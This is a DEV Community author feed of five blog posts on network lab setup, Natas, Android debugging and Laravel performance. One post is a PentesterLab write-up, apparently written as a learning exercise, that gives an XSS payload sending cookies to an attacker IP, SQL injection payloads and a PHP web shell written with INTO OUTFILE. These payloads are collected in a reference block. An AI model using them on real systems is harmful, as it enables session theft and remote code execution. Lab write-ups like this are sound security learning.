DEV Community: ekko1500

How to Setup a UniFi Access Point & MikroTik Switch Local Test Lab (No Internet Required)

ekko1500 — Wed, 27 May 2026 03:50:48 +0000

Setting up an enterprise-grade home network or testing configuration changes usually requires an internet connection. But what if you want to build an isolated sandbox or test local area network (LAN) performance completely offline?

If you have a Ubiquiti UniFi Access Point, a MikroTik Cloud Router Switch (CRS), and a computer, you have everything you need to build a high-performance local test lab.

In this guide, we will walk you through the physical wiring, solving the "no-internet" IP routing issue, and adopting your AP without an ISP connection.

The Equipment Checklist

Before we dive in, make sure you have the following gear on your workbench:

Ubiquiti UniFi Access Point (Any modern U6, AC, or HD model)
UniFi PoE Injector (The power brick included with your AP, or an equivalent 24V/48V PoE injector)
MikroTik Cloud Switch (e.g., CRS series)
A Computer/Laptop with an Ethernet port (or an Ethernet-to-USB adapter)
Three Ethernet Cables (Cat5e or Cat6)

Phase 1: The Physical Topology (The Wiring Loop)

Because we don't have an Internet Service Provider (ISP) modem assigning power and routing data, our network setup needs to follow a precise physical loop.

⚠️ Critical Troubleshooting Note: If your Access Point's LED light does not turn on immediately after plugging it in, your power loop is incorrect. UniFi APs require Power over Ethernet (PoE). Most MikroTik switches do not output PoE power by default, so you must use the UniFi power brick injector.

Follow these steps exactly to build your local loop:

Connect your PC to the Switch: Cable #1.
Plug one Ethernet cable from your computer’s network port into Port 1 of your MikroTik switch.
Bridge the Switch to the Injector: Cable #2.
Plug a second Ethernet cable from Port 2 of your MikroTik switch into the LAN port of the UniFi PoE Injector power brick.
Deliver Power to the Access Point: Cable #3.
Plug a third Ethernet cable from the PoE port of the injector into the Main Ethernet port on the back of your UniFi Access Point.
Fire Up the Lab: Power.
Plug the PoE Injector's power cord into the wall outlet. Within 5 seconds, the UniFi AP’s circular LED ring will light up solid white, indicating it is powered up and ready for adoption.

Phase 2: Resolving the IP Address Problem

Normally, an ISP router runs a service called DHCP, which automatically dishes out IP addresses to your computer and AP so they can talk. Since we are completely offline, we have to trick the hardware into finding each other using a manual network space.

Step 1: Assign a Static IP to your Computer

You need to force your computer to live in the same network neighborhood that the UniFi AP defaults to when it can't find the internet.

Windows: Go to Settings > Network & Internet > Ethernet > Edit IP Settings. Change to Manual, toggle IPv4 on, and enter:
IP Address: 192.168.1.10
Subnet Mask: 255.255.255.0
Gateway: Leave Blank
macOS: Go to System Settings > Network > Ethernet > Details > TCP/IP. Change Configure IPv4 to Manually and enter:
IP Address: 192.168.1.10
Subnet Mask: 255.255.255.0
Router/Gateway: Leave Blank

Step 2: The UniFi AP Fallback IP

When a UniFi Access Point Boots up and fails to locate a DHCP server after a couple of minutes, it automatically claims a smart fallback IP: 192.168.1.20. Because your computer is now manually set to 192.168.1.10, your computer can now ping and see the AP across the MikroTik switch.

Phase 3: Local Software Configuration

Because we don't have internet access, we cannot use the UniFi smartphone application (which relies on cloud synchronization). Instead, we will host a local server controller directly on your testing machine.

Step 1: Fire Up the UniFi Network Server

Download the free UniFi Network Server application (formerly known as the UniFi Controller) from the Ubiquiti Downloads page onto your PC prior to starting your offline lab, or transfer it via a USB drive.
Launch the application on your computer.
Once initialized, click Launch a Browser to Manage the Network.
Your browser will open a local web page. Proceed through the setup wizard. When prompted to sign in with a UI.com account, select Switch to Advanced Setup and choose Local Access Only to create an offline username and password.

Step 2: Adopt the AP

Once inside the main UniFi dashboard dashboard, click on the UniFi Devices icon (the circular target logo on the left toolbar).
You will see your Access Point listed with its fallback IP address (192.168.1.20) and a status of Pending Adoption.
Click on the device name, and hit Adopt.
The AP light will blink for a moment, provision itself, and change to a Solid Blue light. Your AP is now fully adopted into your offline server.

Step 3: Broadcast a Local Wi-Fi Network

Go to Settings (the gear icon at the bottom left of your UniFi browser interface).
Click WiFi and select Create New WiFi.
Name your local test Wi-Fi network (SSID) and create a password.
Click Apply Changes. The server will push this configuration through your MikroTik switch straight to your AP.

How to Test Your New Offline LAN Lab

Grab a smartphone, a tablet, or a secondary laptop and connect to the new Wi-Fi network you just broadcasted.

Because you aren't connected to an ISP box, your phone will likely say "Connected, No Internet Access". This is exactly what we want.

To verify your local network throughput and communication:

Open a terminal or command prompt app on your phone or secondary device.
Type ping 192.168.1.10 (the IP address of your main computer).
If you see successful reply streams, your data is leaving your wireless device, passing through the UniFi AP, travelling through the MikroTik switch, and safely landing on your PC.

Congratulations—you have a fully operational, completely isolated wireless test lab!

How OverTheWire's Natas Humbled Me in 4 Levels or Less

ekko1500 — Sun, 24 May 2026 16:56:17 +0000

By: Me, a person who definitely cried a little

Date: Today, sadly

Day 1: Confidence is a Trap

I started Natas thinking, "It's just web security. I've used a browser before. How hard can it be?"

Famous last words.

Level 0 and 1 were fine. Base64 decoding? Please. I'm basically a hacker already.

Then Level 2 happened.

The PNG That Broke Me

I saw a pixel.png in the source code and thought, "Aha! Steganography!"

What followed was:

Trying to wget the file and getting a 401 Unauthorized (because I forgot the credentials... twice)
Finally getting credentials from Level 1, then facing a DNS resolution failure (thanks, my ISP)
Discovering my WSL had no sudo (turns out I wasn't even in WSL—I was in Git Bash like a lost child)
Installing exiftool after 45 minutes of dependency hell
Running exiftool pixel.png and getting... absolutely nothing
Trying strings, binwalk, and even a hex editor—still nothing
Finally admitting defeat and asking for help

The answer?

The PNG was a tracking pixel. 1x1. Transparent. Empty.

The real password was sitting in users.txt in the same directory, visible to anyone who bothered to look at the file listing.

I spent 6 hours analyzing nothing.

Level 3: Google's Gift to Idiots (Me)

Level 3's source code had a comment:

"Not even Google will find it this time..."

I stared at it for 10 minutes. Then I remembered: robots.txt.

One quick visit to /robots.txt and I saw:

Disallow: /s3cr3t/

I literally facepalmed. So loud my neighbor asked if I was okay.

Found the hidden directory. Found users.txt. Found the password for Level 4.

That took 90 seconds.

Lessons Learned (The Hard Way)

Lesson	Why It Hurt
Read the directory listing first	Because the answer is rarely in a blank PNG
Don't ignore source code comments	They're not flavor text—they're hints
Google doesn't index everything	But `robots.txt` tells you exactly what Google was told to ignore
WSL is not magic	You actually have to open it. Git Bash is not Linux.
Ask for help before hour 5	My ego cost me 6 hours of my life

Final Thoughts

I'm only on Level 3 and I've already:

Misdiagnosed a tracking pixel as a steganography challenge
Fought with DNS, WSL, and my own pride
Learned that robots.txt exists (should've known that already)
Realized I'm not as smart as I thought I was

But I'm still going.

Natas 4 tomorrow. Maybe I'll actually read the source code this time.

PSA to Future Me (and You)

If you're stuck on a Natas level and you find yourself installing forensic tools...

Stop.

Check the directory listing first. Read the source code again. Look for robots.txt.

The answer is rarely encrypted. It's usually just hidden in plain sight, laughing at you.

End of day. Time to touch grass.

From XSS to Shell: How I Broke Into a Server and Lived to Tell the Tale

ekko1500 — Sat, 23 May 2026 16:32:17 +0000

By: Someone who almost gave up three times

Lab: PentesterLab — XSS and MySQL FILE

Difficulty: Medium

Status: Owned ✅

🎭 Prologue: The ISO That Mocked Me

I downloaded an ISO. Booted it. Saw a blog. Thought, "This'll be easy."

I was wrong.

But I learned more in 3 hours of failing than in 3 months of reading theory.

This is the story of how I went from copy-pasting XSS payloads to executing whoami on a remote server — and how you can too.

📍 Phase 1: The Cookie Heist (XSS)

The Setup

The lab had a script running every minute. A headless browser called PhantomJS visited every page on the site. That browser? Already logged in as admin.

My job: Trick that bot into sending me its cookie.

What I Tried First (and failed)

<script>alert(1)</script>

Alert box popped for me. Cool. But the bot doesn't have eyeballs. I needed exfiltration.

The Breakthrough

<img src=x onerror="fetch('http://MY_IP:80/?'+document.cookie)">

But nothing happened. Why? No listener.

The Fix

On my Kali VM (192.168.56.102):

sudo nc -lnvp 80

Then injected payload pointing to Kali's IP.

Waited 60 seconds.

Then saw this in my terminal:

GET /?PHPSESSID=2oi9tm6nlu2ecev4nhvmhualj0
User-Agent: PhantomJS/1.9.1

Boom. Admin cookie stolen.

🧠 Lesson Learned

The bot visits automatically every minute — be patient.
Always start your listener BEFORE injecting.
ERR_CONNECTION_REFUSED means your XSS worked but nothing was listening.

📍 Phase 2: Walking In The Back Door

I took that cookie (PHPSESSID=2oi9tm6nlu2ecev4nhvmhualj0) and added it to my browser's storage.

Refreshed the page. Clicked "admin."

I was in.

No login prompt. No password. Just pure session hijacking.

🧠 Lesson Learned

Session cookies are gold. Treat them like root passwords.
If you steal an admin's cookie, you ARE the admin.

📍 Phase 3: The SQL Injection That Fought Back

In the admin panel, I found edit.php?id=1.

Tested:

/admin/edit.php?id=1'

Got a MySQL error. Injection confirmed.

The UNION Struggle

I tried:

id=1 union select 1,2,3,4

Got:

Notice: Trying to get property of non-object in /var/www/admin/edit.php on line 19

That error meant: the query changed but PHP expected a row.

Fix: Force the original query to return nothing:

id=1 and 1=2 union select 1,2,3,4

The error disappeared. Numbers appeared on the page. UNION worked.

🧠 Lesson Learned

non-object errors are actually GOOD — they mean you influenced the query.
Use and 1=2 to empty the original result set.
Find which columns display on the page (2 and 3 usually).

📍 Phase 4: The FILE Privilege Gamble

I checked the current user:

id=1 and 1=2 union select 1,user(),3,4

Output: root@localhost

Then checked FILE privilege:

id=1 and 1=2 union select 1,file_priv,3,4 FROM mysql.user WHERE user='root'

Output: Y

Game on.

🧠 Lesson Learned

root@localhost in MySQL often has FILE privilege.
file_priv = Y means you can read/write files on the server.

📍 Phase 5: Finding Where To Write

I tried writing a test file:

id=1 and 1=2 union select 1,2,3,4 INTO OUTFILE '/var/www/css/test.txt'

Got the non-object error again — but the file was still created.

Visited:

http://[VM_IP]/css/test.txt

Saw 1 2 3 4 on the page.

Directory confirmed writable.

🧠 Lesson Learned

INTO OUTFILE causes PHP errors but still writes the file.
Always check if the file exists via browser.
/var/www/css/ was the magic path in this lab.

📍 Phase 6: Deploying The Web Shell

Final payload:

id=1 union select 1,2,'<?php system($_GET["cmd"]); ?>',4 INTO OUTFILE '/var/www/css/shell.php'

URL-encoded:

id=1 union select 1,2,%3C%3Fphp%20system(%24_GET%5B%22cmd%22%5D)%3B%20%3F%3E,4 INTO OUTFILE '/var/www/css/shell.php'

Then visited:

http://[VM_IP]/css/shell.php?cmd=whoami

The page returned:

1 2 www-data 4

Remote code execution achieved.

🧠 Lesson Learned

Web shells are simple: system($_GET["cmd"]) is enough.
URL-encode special characters in your SQL payloads.
Test with whoami or id first.

🏁 Epilogue: What I Learned

Phase	Key Takeaway
XSS	Always run your listener before injecting. The bot doesn't wait.
Session Hijacking	Stolen cookies = instant admin access.
SQL Injection	`and 1=2` is your best friend for UNION attacks.
FILE Privilege	`root@localhost` often means file write access.
Web Shell	`/var/www/css/` was writable — always check common web directories.

📝 Quick Reference Commands

XSS Payload (stored in comment)

<img src=x onerror="fetch('http://YOUR_IP:80/?'+document.cookie)">

Listener

nc -lnvp 80

Check current user

id=1 and 1=2 union select 1,user(),3,4

Check FILE privilege

id=1 and 1=2 union select 1,file_priv,3,4 FROM mysql.user WHERE user='root'

Write test file

id=1 and 1=2 union select 1,2,3,4 INTO OUTFILE '/var/www/css/test.txt'

Write web shell

id=1 union select 1,2,'<?php system($_GET["cmd"]); ?>',4 INTO OUTFILE '/var/www/css/shell.php'

Execute command

http://[VM_IP]/css/shell.php?cmd=whoami

🎯 Final Thoughts

This lab taught me that hacking isn't about knowing all the answers.

It's about:

Reading error messages carefully
Being patient (the bot visits every minute, not every second)
Trying things even when I'm not sure
Not quitting when I get non-object errors for the 10th time

If you're stuck on this lab — keep going. The breakthrough is one payload away.

Now go break something else. 🔥

Debugging Android Backdrop Persistence: A Capacitor Story

ekko1500 — Mon, 30 Mar 2026 16:39:01 +0000

Porting a complex React app like Scratch-GUI to mobile using Capacitor can surface bugs that don't appear on desktop. Recently, we fixed a frustrating issue: backdrop edits (drawings and erasures) weren't saving in .sb3 files on Android.

Here's what went wrong and how we fixed it.

1. The Main Problem: Edits Weren't Saving

Two issues caused backdrop changes to disappear when saving.

A. Storage Configuration Typo

In storage.js, we had a typo in the asset storage config. It was trying to use invalid "create" and "update" helpers, triggering failed network requests in the Capacitor environment.

Fix: Corrected the typo and simplified addWebStore to only use the GET helper for local assets.

B. Save Button Didn't Commit Pending Edits

The Paint Editor (from scratch-paint) normally saves changes when you click away from the canvas. On Android, clicking the "Save" button didn't trigger that "focus lost" event, so the latest drawing wasn't being saved.

Fix: Added a manual sync step before saving — calling document.activeElement.blur() and waiting 100ms to ensure all edits were committed.

2. The reader.addEventListener Error

We hit a strange error: TypeError: reader.addEventListener is not a function — and it only appeared on Android.

It turns out that in some environments, FileReader doesn't fully support addEventListener. It only has onload and onerror callbacks.

Fix: Added a lightweight polyfill at app startup that adds addEventListener support to FileReader.prototype, mapping it to the existing handler properties.

3. Canvas Performance Warning

Android's WebView kept showing this warning:

Canvas2D: Multiple readback operations using getImageData are faster with the willReadFrequently attribute set to true.

This happens when the canvas is read often — like in Scratch's "touching color" blocks and paint editor fill tools.

Fix: Updated all getContext('2d') calls (in the loupe, video provider, and costume display) to include { willReadFrequently: true }. This tells the browser to optimize for frequent reads, making things much faster.

4. Touch Scrolling Felt Laggy

Chrome and WebView warn when non-passive event listeners are used on scroll-blocking events like touchstart. This can make scrolling feel sluggish.

Fix: Updated global touch handlers to use { passive: true }, letting the browser scroll immediately without waiting for JavaScript.

What We Learned

Cross-platform development isn't just about writing code — it's about understanding the subtle differences in runtime environments. A standard browser API like FileReader or Canvas2D can behave slightly differently in a WebView than in a desktop browser, and those differences can cause major issues in complex apps.

Key takeaway: Make sure your "save" logic works reliably across all input types (touch, mouse, keyboard), and don't hesitate to polyfill environment gaps to keep your libraries happy.

How I Solved Slow Page Loading Using the N+1 Query Fix (React + Laravel)

ekko1500 — Mon, 30 Mar 2026 06:24:46 +0000

When I first built my React + Laravel application, everything worked fine—until the data started growing.

Pages that used to load instantly began taking seconds. Then even longer.

At first, I thought it was a frontend issue. Maybe React was re-rendering too much. Maybe my components weren’t optimized.

I was wrong.

The real problem was happening in the backend—and it had a name: the N+1 query problem.

The Problem I Didn’t See at First

Let’s say I had something like this in my Laravel backend:

A list of students
Each student has marks
Each mark belongs to a subject

Simple, right?

But here’s what actually happened when I fetched data:

1 query to get students
Then N queries to get each student's related data

So if I had 100 students, I was running:
👉 101 queries

That’s the N+1 problem.

And it destroyed performance.

How I Discovered It

I started debugging the backend and noticed something strange:

The API response time was slow
Database queries were increasing with data size

So I used Laravel debugging tools and logs.

That’s when I saw it clearly:
👉 Queries were being executed inside loops

That’s the moment it clicked.

The Fix: Eager Loading

Laravel already has a solution for this: Eager Loading

Instead of fetching related data one-by-one, I loaded everything in a single query.

Before (Bad)

$students = Student::all();

foreach ($students as $student) {
    echo $student->marks; // triggers query every time
}

After (Good)

$students = Student::with('marks')->get();

Now:

Only 2 queries total
No matter how many students

Massive improvement.

Going Deeper: Nested Relationships

My case wasn’t that simple.

I had deeper relationships like:

students → marks → subjects

So I used nested eager loading:

$students = Student::with('marks.subject')->get();

Now everything loads efficiently in minimal queries.

Optimizing the API Response

Fixing queries wasn’t enough.

I also improved how data was sent to React.

What I changed:

Removed unnecessary fields
Used API Resources (Transformers)
Sent only what the UI actually needs

return StudentResource::collection($students);

This reduced payload size and improved speed.

React Side Optimization

After fixing Laravel, I improved React too.

1. Avoid Unnecessary Re-renders

I used:

useMemo
useCallback
Proper state structure

2. Lazy Loading Components

const Dashboard = React.lazy(() => import('./Dashboard'));

This reduced initial load time.

3. Efficient Data Fetching

Avoided duplicate API calls
Cached results when possible

The Result

After all optimizations:

Page load time dropped significantly
API became faster and more scalable
UI felt instant even with large data

What used to feel slow and heavy became smooth and responsive.

What I Learned

This experience taught me something important:

Performance problems are often not where you think they are.

I spent time looking at React—but the real issue was in the database.

Key Takeaways

Always watch for N+1 queries in backend systems
Use Eager Loading in Laravel (with())
Optimize API responses, not just queries
Frontend performance depends on backend efficiency

Final Thoughts

Fixing the N+1 query problem completely changed how I think about building applications.

Now, whenever I design a feature, I ask:

👉 How many queries will this run?

Because performance isn’t just about code—it’s about how systems interact.

And once you fix the root problem, everything becomes faster.